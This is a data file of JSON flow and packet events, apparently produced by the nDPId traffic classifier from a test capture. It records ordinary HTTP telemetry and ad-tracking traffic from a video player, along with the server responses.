+00605{"flow_id":46,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1019,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353140,"pkt_ts_usec":888501,"pkt_caplen":199,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":199,"pkt_l4_len":165,"pkt":"ABxCjnAxTF4M6gNlCABFAAC5fz1AADMGuwnKbA7bwKhzCABQxSlvvfQ0r4ZCsVAYADyHfQAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IG5naW54LzEuNC43DQpEYXRlOiBGcmksIDAxIEp1bCAyMDE2IDA2OjA1OjQwIEdNVA0KQ29udGVudC1UeXBlOiB0ZXh0L2h0bWwNCkNvbnRlbnQtTGVuZ3RoOiAwDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQoNCg=="} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1020,"source":"pps.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":1,"flow_first_seen":1467353141138,"flow_last_seen":0,"flow_tot_l4_data_len":580,"flow_min_l4_data_len":580,"flow_max_l4_data_len":580,"flow_avg_l4_data_len":580,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"202.108.14.219","src_port":50477,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +01158{"flow_id":48,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1020,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353141,"pkt_ts_usec":138031,"pkt_caplen":614,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":614,"pkt_l4_len":580,"pkt":"TF4M6gNlABxCjnAxCABFAAJYBBhAAIAG54\/AqHMIymwO28UtAFDtOXdacCs02FAYAQQdugAAR0VUIC9jb3JlP3Q9MTEmY3Q9YWRlbmQmcmVzZXQ9MCZyYT0yJnBmPTIwMSZwPTExJnAxPTExNCZwMj0zMDAwJnNka3RwPTEmYzE9NiZyPTUwMDQ5NDYwMCZhaWQ9NTAyOTU5OTAwJnU9YWFvZWZkdHFnZmRlcHhjMnRudjNwaXVjZ2NiNGVvZm4mcHU9Jm9zPXdpbmRvd3Mmdj01JTJFMiUyRTE1JTJFMjI0MCZrcnY9MiUyRTAlMkUxMDImZHQ9Jmh1PS0xJnJuPTE0NjczNTMxNDAmaXNsb2NhbD0wJmFzPWQxOWY2NDA0N2I2NDFjZDZmZjA5NmIwNGZiMmEzMGI1JnZlPTNjYzBjOGZhMzcyNjI1ZTY0MTQzMTQ0ODE2ZjNlOTY4JnBlPWM5NWQ5OTJlMjk4NTZkYzg0ZjJlOTkwN2EyZTRiMjgyJnZmcm09JmNobD0maGNkbnY9MTAuMC4wLjI5MyZ0cGNkPTAmaXNkcm09MSZodD0wIEhUVFAvMS4xDQpVc2VyLUFnZW50OiBRWS1QbGF5ZXItV2luZG93cy8yLjAuMTAyDQpIb3N0OiBtc2cuNzEuYW0NCkFjY2VwdDogKi8qDQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCnF5aWQ6YWFvZWZkdHFnZmRlcHhjMnRudjNwaXVjZ2NiNGVvZm4NCnF5cGlkOl8yMDEyDQpxeXBsYXRmb3JtOjAtMg0KDQo="} +01006{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1020,"source":"pps.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":1,"flow_first_seen":1467353141138,"flow_last_seen":0,"flow_tot_l4_data_len":580,"flow_min_l4_data_len":580,"flow_max_l4_data_len":580,"flow_avg_l4_data_len":580,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"202.108.14.219","src_port":50477,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Streaming"},"http": {"hostname":"msg.71.am","url":"msg.71.am\/core?t=11&ct=adend&reset=0&ra=2&pf=201&p=11&p1=114&p2=3000&sdktp=1&c1=6&r=500494600&aid=502959900&u=aaoefdtqgfdepxc2tnv3piucgcb4eofn&pu=&os=windows&v=5%2E2%2E15%2E2240&krv=2%2E0%2E102&dt=&hu=-1&rn=1467353140&islocal=0&as=d19f64047b641cd6ff096b04fb2a30b5&ve=3cc0c8fa372625e64143144816f3e968&pe=c95d992e29856dc84f2e9907a2e4b282&vfrm=&chl=&hcdnv=10.0.0.293&tpcd=0&isdrm=1&ht=0","code":0,"content_type":"","user_agent":"QY-Player-Windows\/2.0.102"}} +00605{"flow_id":48,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1021,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353141,"pkt_ts_usec":308906,"pkt_caplen":199,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":199,"pkt_l4_len":165,"pkt":"ABxCjnAxTF4M6gNlCABFAAC5uEFAADMGggXKbA7bwKhzCABQxS1wKzTY7Tl5ilAYADfR4AAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IG5naW54LzEuNC43DQpEYXRlOiBGcmksIDAxIEp1bCAyMDE2IDA2OjA1OjQwIEdNVA0KQ29udGVudC1UeXBlOiB0ZXh0L2h0bWwNCkNvbnRlbnQtTGVuZ3RoOiAwDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQoNCg=="} +01602{"flow_id":43,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1022,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353142,"pkt_ts_usec":534251,"pkt_caplen":946,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":946,"pkt_l4_len":912,"pkt":"TF4M6gNlABxCjnAxCABFAAOkBEBAAIAG5grAqHMIymwO7MUnAFCB65f\/kZem+1AYQRL+yQAAR0VUIC9jcDIuZ2lmP2E9NGUzYWU0MTVhNTg0NzQ4YWM5YWEzMTYyOGYzOWQxZTgmYWk9JmFzPTE6MjM6MjN8NDUmYXY9NC4xMC4wMDQmYj0xODA5MzIzMDEmYz0zMSZjdD01MDAwMDAwOTI3NTU4JmQ9MjE3NSZkaT0mZHA9NzEwMDAwMDEmZT1jNDg4OWU2NGFkOWQ5ZWViOWZmNDM4OTEwODUwYzQ0MiZlYz0mZW09JmZpPSZnPTAmbD1NVEU0TGpFMk15NDRMamt3Jm1rPSZudz0mb2Q9NTAwMDAwMDg1ODg3NCZvaT0mcD1hJnBwPSZyYz0mcmQ9JnJpPSZzPTE0NjczNTMxNDIwNDQmc2g9JnNxPSZzdz0mdD0xcSZ1PTBfYWFvZWZkdHFnZmRlcHhjMnRudjNwaXVjZ2NiNGVvZm4mdj00Nzk1MzEwMDAmdnY9NS4yLjE1LjIyNDAmeD0meT1xY18xMDAwMDFfMTAwMTQwIEhUVFAvMS4xDQpBY2NlcHQtTGFuZ3VhZ2U6IHpoLUNODQpSZWZlcmVyOiBodHRwOi8vd3d3LmlxaXlpLmNvbS9jb21tb24vZmxhc2hwbGF5ZXIvMjAxNDA5MjQvTWFpblBsYXllcl81XzJfM19jM18yXzFfNi5zd2YNCnF5aWQ6IGFhb2VmZHRxZ2ZkZXB4YzJ0bnYzcGl1Y2djYjRlb2ZuDQpxeXBpZDogXzIwMTINCnF5cGxhdGZvcm06IDAtMg0KeC1mbGFzaC12ZXJzaW9uOiAxMiwwLDAsNzANCkFjY2VwdDogKi8qDQpQcmFnbWE6IG5vLWNhY2hlDQpDYWNoZS1Db250cm9sOiBuby1jYWNoZQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS80LjAgKGNvbXBhdGlibGU7IE1TSUUgOC4wOyBXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IFRyaWRlbnQvNC4wOyBTTENDMjsgLk5FVCBDTFIgMi4wLjUwNzI3OyAuTkVUIENMUiAzLjUuMzA3Mjk7IC5ORVQgQ0xSIDMuMC4zMDcyOTsgTWVkaWEgQ2VudGVyIFBDIDYuMCkvUVktUGxheWVyLVdpbmRvd3MvMi4wLjEwMg0KSG9zdDogbXNnLjcxLmFtDQoNCg=="} +00606{"flow_id":43,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1023,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353142,"pkt_ts_usec":600485,"pkt_caplen":199,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":199,"pkt_l4_len":165,"pkt":"ABxCjnAxTF4M6gNlCABFAAC5KWdAADMGEM\/KbA7swKhzCABQxSeRl6b7geube1AYACTHuAAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IG5naW54LzEuOC4wDQpEYXRlOiBGcmksIDAxIEp1bCAyMDE2IDA2OjA1OjQyIEdNVA0KQ29udGVudC1UeXBlOiBpbWFnZS9naWYNCkNvbnRlbnQtTGVuZ3RoOiAwDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQoNCg=="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1024,"source":"pps.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":1,"flow_first_seen":1467353144633,"flow_last_seen":0,"flow_tot_l4_data_len":313,"flow_min_l4_data_len":313,"flow_max_l4_data_len":313,"flow_avg_l4_data_len":313,"midstream":1,"l3_proto":"ip4","src_ip":"117.79.81.135","dst_ip":"192.168.115.8","src_port":80,"dst_port":50443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00801{"flow_id":49,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1024,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353144,"pkt_ts_usec":633895,"pkt_caplen":347,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":347,"pkt_l4_len":313,"pkt":"ABxCjnAxTF4M6gNlCABFAAFNZb1AADAG6WZ1T1GHwKhzCABQxQsUvd5l87WhOFAYAA4qLgAASFRUUC8xLjEgMzAyIEZvdW5kDQpTZXJ2ZXI6IG5naW54DQpEYXRlOiBGcmksIDAxIEp1bCAyMDE2IDA2OjA1OjMzIEdNVA0KQ29udGVudC1MZW5ndGg6IDANCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNClNldC1Db29raWU6IFY9NjY5Mzg1MTYxNTg4NTA0OTAxMTsgRG9tYWluPW1sdDAxLmNvbTsgRXhwaXJlcz1TYXQsIDAxLUp1bC0yMDE3IDA2OjA1OjM3IEdNVDsgUGF0aD0vDQpMb2NhdGlvbjogaHR0cDovL2NtYy50YW54LmNvbS9hbmRjP2FuZGNfdWlkPTY2OTM4NTE2MTU4ODUwNDkwMTEmYW5kY192ZXI9MQ0KDQo="} +00515{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1024,"source":"pps.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":1,"flow_first_seen":1467353144633,"flow_last_seen":0,"flow_tot_l4_data_len":313,"flow_min_l4_data_len":313,"flow_max_l4_data_len":313,"flow_avg_l4_data_len":313,"midstream":1,"l3_proto":"ip4","src_ip":"117.79.81.135","dst_ip":"192.168.115.8","src_port":80,"dst_port":50443,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1025,"source":"pps.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":1,"flow_first_seen":1467353144819,"flow_last_seen":0,"flow_tot_l4_data_len":410,"flow_min_l4_data_len":410,"flow_max_l4_data_len":410,"flow_avg_l4_data_len":410,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"140.205.243.64","src_port":50482,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00929{"flow_id":50,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1025,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353144,"pkt_ts_usec":819974,"pkt_caplen":444,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":444,"pkt_l4_len":410,"pkt":"TF4M6gNlABxCjnAxCABFAAGuBX9AAIAGQAzAqHMIjM3zQMUyAFBCtQhgUXsfllAYQTeurQAAR0VUIC9hbmRjP2FuZGNfdWlkPTY2OTM4NTE2MTU4ODUwNDkwMTEmYW5kY192ZXI9MSBIVFRQLzEuMQ0KQWNjZXB0OiAqLyoNClJlZmVyZXI6IGh0dHA6Ly9pbWFnZTEud2Vic2NhY2hlLmNvbS92b2RndWlkZS9pbWFnZXMvdGFvYmFvYWQvdGFvYmFvL3Rhb2Jhby5odG1sDQpBY2NlcHQtTGFuZ3VhZ2U6IHpoLVRXDQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChjb21wYXRpYmxlOyBNU0lFIDkuMDsgV2luZG93cyBOVCA2LjE7IFRyaWRlbnQvNS4wKQ0KQ29va2llOiBjbmE9L2NBSER3UTFtMndDQVhhakNGbzBCbmxmOyBjbmF1aT0xOTgzMTU5NDkzDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpIb3N0OiBjbWMudGFueC5jb20NCg0K"} +00716{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1025,"source":"pps.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":1,"flow_first_seen":1467353144819,"flow_last_seen":0,"flow_tot_l4_data_len":410,"flow_min_l4_data_len":410,"flow_max_l4_data_len":410,"flow_avg_l4_data_len":410,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"140.205.243.64","src_port":50482,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"cmc.tanx.com","url":"cmc.tanx.com\/andc?andc_uid=6693851615885049011&andc_ver=1","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident\/5.0)"}} +00725{"flow_id":50,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1026,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353144,"pkt_ts_usec":913514,"pkt_caplen":283,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":283,"pkt_l4_len":249,"pkt":"ABxCjnAxTF4M6gNlCABFAAENPiNAACwGXAmMzfNAwKhzCABQxTJRex+WQrUJ5lAYFg2SoAAASFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBGcmksIDAxIEp1bCAyMDE2IDA2OjA1OjQ0IEdNVA0KQ29udGVudC1UeXBlOiBpbWFnZS9naWYNClRyYW5zZmVyLUVuY29kaW5nOiBjaHVua2VkDQpDb25uZWN0aW9uOiBjbG9zZQ0KU2VydmVyOiBUZW5naW5lDQpUaW1pbmctQWxsb3ctT3JpZ2luOiAqDQoNCjMxDQpHSUY4OWEBAAEAkQAAAAAA\/\/\/\/\/\/\/\/AAAAIfkEAQAAAgAsAAAAAAEAAQAAAgJUAQA7DQowDQoNCg=="} +00510{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1027,"source":"pps.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1467353136757,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.5.15","dst_ip":"68.233.253.133","src_port":65125,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00472{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1027,"source":"pps.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1467353136757,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.5.15","dst_ip":"68.233.253.133","src_port":65125,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00477{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1027,"source":"pps.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":1,"flow_first_seen":1467353144633,"flow_last_seen":0,"flow_tot_l4_data_len":313,"flow_min_l4_data_len":313,"flow_max_l4_data_len":313,"flow_avg_l4_data_len":313,"midstream":1,"l3_proto":"ip4","src_ip":"117.79.81.135","dst_ip":"192.168.115.8","src_port":80,"dst_port":50443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1027,"source":"pps.pcap","alias":"nDPId-test","flow_id":51,"flow_packet_id":1,"flow_first_seen":1467353147705,"flow_last_seen":0,"flow_tot_l4_data_len":383,"flow_min_l4_data_len":383,"flow_max_l4_data_len":383,"flow_avg_l4_data_len":383,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"202.108.14.219","src_port":50483,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00893{"flow_id":51,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1027,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353147,"pkt_ts_usec":705460,"pkt_caplen":417,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":417,"pkt_l4_len":383,"pkt":"TF4M6gNlABxCjnAxCABFAAGTCAFAAIAG5GvAqHMIymwO28UzAFD2bwdscQOwMVAYAQQLYgAAR0VUIC9jb3JlP3Q9MTUwMzI5MSZ0eXBlPXZzJnV1aWQ9YWFvZWZkdHFnZmRlcHhjMnRudjNwaXVjZ2NiNGVvZm4mYXJlYT1PVkVSU0VBfFRXX0hpTmV0JmZyb209QlNfSGlnaCZ0bz1CU19TdGFuZGFyZCZwbGF5ZXJfc3dpdGNoX2JzX3RpbWU9NDE3MTQmYXZlcmFnZV9kb3dubG9hZF9zcGVlZF89MTU4NTE1LjIwMDAwMCBIVFRQLzEuMQ0KVXNlci1BZ2VudDogUVktUGxheWVyLVdpbmRvd3MvMi4wLjEwMg0KSG9zdDogbXNnLjcxLmFtDQpBY2NlcHQ6ICovKg0KQWNjZXB0LUVuY29kaW5nOiBnemlwLCBkZWZsYXRlDQpxeWlkOmFhb2VmZHRxZ2ZkZXB4YzJ0bnYzcGl1Y2djYjRlb2ZuDQpxeXBpZDpfMjAxMg0KcXlwbGF0Zm9ybTowLTINCg0K"} +00809{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1027,"source":"pps.pcap","alias":"nDPId-test","flow_id":51,"flow_packet_id":1,"flow_first_seen":1467353147705,"flow_last_seen":0,"flow_tot_l4_data_len":383,"flow_min_l4_data_len":383,"flow_max_l4_data_len":383,"flow_avg_l4_data_len":383,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"202.108.14.219","src_port":50483,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Streaming"},"http": {"hostname":"msg.71.am","url":"msg.71.am\/core?t=1503291&type=vs&uuid=aaoefdtqgfdepxc2tnv3piucgcb4eofn&area=OVERSEA|TW_HiNet&from=BS_High&to=BS_Standard&player_switch_bs_time=41714&average_download_speed_=158515.200000","code":0,"content_type":"","user_agent":"QY-Player-Windows\/2.0.102"}} +00605{"flow_id":51,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1028,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353147,"pkt_ts_usec":794494,"pkt_caplen":199,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":199,"pkt_l4_len":165,"pkt":"ABxCjnAxTF4M6gNlCABFAAC5FnZAADMGI9HKbA7bwKhzCABQxTNxA7Ax9m8I11AYADa2JwAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IG5naW54LzEuNC43DQpEYXRlOiBGcmksIDAxIEp1bCAyMDE2IDA2OjA1OjQ3IEdNVA0KQ29udGVudC1UeXBlOiB0ZXh0L2h0bWwNCkNvbnRlbnQtTGVuZ3RoOiAwDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQoNCg=="} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1029,"source":"pps.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":1,"flow_first_seen":1467353147927,"flow_last_seen":0,"flow_tot_l4_data_len":588,"flow_min_l4_data_len":588,"flow_max_l4_data_len":588,"flow_avg_l4_data_len":588,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"202.108.14.219","src_port":50484,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +01169{"flow_id":52,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1029,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353147,"pkt_ts_usec":927208,"pkt_caplen":622,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":622,"pkt_l4_len":588,"pkt":"TF4M6gNlABxCjnAxCABFAAJgCC5AAIAG43HAqHMIymwO28U0AFClUF0ecJA2DlAYAQSk3gAAR0VUIC9jb3JlP3Q9NSZhPTQmaXNmaW5pc2g9MiZ0bT03JnJhPTImdHJhPTEmcGY9MjAxJnA9MTEmcDE9MTE0JnAyPTMwMDAmc2RrdHA9MSZjMT02JnI9NTAwNDk0NjAwJmFpZD01MDI5NTk5MDAmdT1hYW9lZmR0cWdmZGVweGMydG52M3BpdWNnY2I0ZW9mbiZwdT0mb3M9d2luZG93cyZ2PTUlMkUyJTJFMTUlMkUyMjQwJmtydj0yJTJFMCUyRTEwMiZkdD0maHU9LTEmcm49MTQ2NzM1MzE0NyZpc2xvY2FsPTAmYXM9ZDE5ZjY0MDQ3YjY0MWNkNmZmMDk2YjA0ZmIyYTMwYjUmdmU9M2NjMGM4ZmEzNzI2MjVlNjQxNDMxNDQ4MTZmM2U5NjgmcGU9Yzk1ZDk5MmUyOTg1NmRjODRmMmU5OTA3YTJlNGIyODImdmZybT0mY2hsPSZoY2Rudj0xMC4wLjAuMjkzJnRwY2Q9MCZpc2RybT0xJmh0PTAgSFRUUC8xLjENClVzZXItQWdlbnQ6IFFZLVBsYXllci1XaW5kb3dzLzIuMC4xMDINCkhvc3Q6IG1zZy43MS5hbQ0KQWNjZXB0OiAqLyoNCkFjY2VwdC1FbmNvZGluZzogZ3ppcCwgZGVmbGF0ZQ0KcXlpZDphYW9lZmR0cWdmZGVweGMydG52M3BpdWNnY2I0ZW9mbg0KcXlwaWQ6XzIwMTINCnF5cGxhdGZvcm06MC0yDQoNCg=="} +01014{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1029,"source":"pps.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":1,"flow_first_seen":1467353147927,"flow_last_seen":0,"flow_tot_l4_data_len":588,"flow_min_l4_data_len":588,"flow_max_l4_data_len":588,"flow_avg_l4_data_len":588,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"202.108.14.219","src_port":50484,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Streaming"},"http": {"hostname":"msg.71.am","url":"msg.71.am\/core?t=5&a=4&isfinish=2&tm=7&ra=2&tra=1&pf=201&p=11&p1=114&p2=3000&sdktp=1&c1=6&r=500494600&aid=502959900&u=aaoefdtqgfdepxc2tnv3piucgcb4eofn&pu=&os=windows&v=5%2E2%2E15%2E2240&krv=2%2E0%2E102&dt=&hu=-1&rn=1467353147&islocal=0&as=d19f64047b641cd6ff096b04fb2a30b5&ve=3cc0c8fa372625e64143144816f3e968&pe=c95d992e29856dc84f2e9907a2e4b282&vfrm=&chl=&hcdnv=10.0.0.293&tpcd=0&isdrm=1&ht=0","code":0,"content_type":"","user_agent":"QY-Player-Windows\/2.0.102"}} +00604{"flow_id":52,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1030,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353148,"pkt_ts_usec":16498,"pkt_caplen":199,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":199,"pkt_l4_len":165,"pkt":"ABxCjnAxTF4M6gNlCABFAAC5kRtAADMGqSvKbA7bwKhzCABQxTRwkDYOpVBfVlAYADcrXAAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IG5naW54LzEuNC43DQpEYXRlOiBGcmksIDAxIEp1bCAyMDE2IDA2OjA1OjQ3IEdNVA0KQ29udGVudC1UeXBlOiB0ZXh0L2h0bWwNCkNvbnRlbnQtTGVuZ3RoOiAwDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQoNCg=="} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1031,"source":"pps.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":1,"flow_first_seen":1467353150114,"flow_last_seen":0,"flow_tot_l4_data_len":913,"flow_min_l4_data_len":913,"flow_max_l4_data_len":913,"flow_avg_l4_data_len":913,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"202.108.14.236","src_port":50485,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +01602{"flow_id":53,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1031,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353150,"pkt_ts_usec":114018,"pkt_caplen":947,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":947,"pkt_l4_len":913,"pkt":"TF4M6gNlABxCjnAxCABFAAOlCc1AAIAG4HzAqHMIymwO7MU1AFBQgbYWJ\/60ElAYQTeIsAAAR0VUIC9jcDIuZ2lmP2E9NGUzYWU0MTVhNTg0NzQ4YWM5YWEzMTYyOGYzOWQxZTgmYWk9JmFzPTE6MjM6MjN8NDUmYXY9NC4xMC4wMDQmYj0xODA5MzIzMDEmYz0zMSZjdD01MDAwMDAwOTI3NTU4JmQ9MjE3NSZkaT0mZHA9NzEwMDAwMDEmZT1jNDg4OWU2NGFkOWQ5ZWViOWZmNDM4OTEwODUwYzQ0MiZlYz0mZW09JmZpPSZnPTAmbD1NVEU0TGpFMk15NDRMamt3Jm1rPSZudz0mb2Q9NTAwMDAwMDg1ODg3NCZvaT0mcD1hJnBwPSZyYz0mcmQ9JnJpPSZzPTE0NjczNTMxNDkwNDUmc2g9JnNxPSZzdz0mdD1taWQmdT0wX2Fhb2VmZHRxZ2ZkZXB4YzJ0bnYzcGl1Y2djYjRlb2ZuJnY9NDc5NTMxMDAwJnZ2PTUuMi4xNS4yMjQwJng9Jnk9cWNfMTAwMDAxXzEwMDE0MCBIVFRQLzEuMQ0KQWNjZXB0LUxhbmd1YWdlOiB6aC1DTg0KUmVmZXJlcjogaHR0cDovL3d3dy5pcWl5aS5jb20vY29tbW9uL2ZsYXNocGxheWVyLzIwMTQwOTI0L01haW5QbGF5ZXJfNV8yXzNfYzNfMl8xXzYuc3dmDQpxeWlkOiBhYW9lZmR0cWdmZGVweGMydG52M3BpdWNnY2I0ZW9mbg0KcXlwaWQ6IF8yMDEyDQpxeXBsYXRmb3JtOiAwLTINCngtZmxhc2gtdmVyc2lvbjogMTIsMCwwLDcwDQpBY2NlcHQ6ICovKg0KUHJhZ21hOiBuby1jYWNoZQ0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNC4wIChjb21wYXRpYmxlOyBNU0lFIDguMDsgV2luZG93cyBOVCA2LjE7IFdPVzY0OyBUcmlkZW50LzQuMDsgU0xDQzI7IC5ORVQgQ0xSIDIuMC41MDcyNzsgLk5FVCBDTFIgMy41LjMwNzI5OyAuTkVUIENMUiAzLjAuMzA3Mjk7IE1lZGlhIENlbnRlciBQQyA2LjApL1FZLVBsYXllci1XaW5kb3dzLzIuMC4xMDINCkhvc3Q6IG1zZy43MS5hbQ0KDQo="} 